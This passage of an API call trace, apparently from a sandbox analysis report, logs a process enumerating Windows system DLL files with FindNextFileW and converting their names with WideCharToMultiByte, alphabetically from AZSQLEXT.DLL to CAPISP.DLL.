lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AZSQLEXT.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AZSQLEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.068] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9afe273e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9afe273e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9afe273e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x23580, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="basecsp.dll", cAlternateFileName="")) returned 1 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BASECSP.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BASECSP.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.068] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86b8ef69, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86b8ef69, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.068] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0024.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0xddc120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0024.068] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0xddc288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0024.069] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.069] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0xddc288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0024.069] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.069] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.069] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.069] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.069] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.069] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.070] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0xddc120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.070] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.070] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.070] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0xddc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0024.070] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.070] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0xddc288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0024.070] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0024.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0xddc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0024.071] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0xddc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.071] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0xddc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0024.071] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0xddc288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0024.071] FindNextFileW (in: hFindFile=0x2b2958, lpFindFileData=0x18f73c | out: lpFindFileData=0x18f73c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x773ab8cf, dwReserved1=0x18f900, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0024.071] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 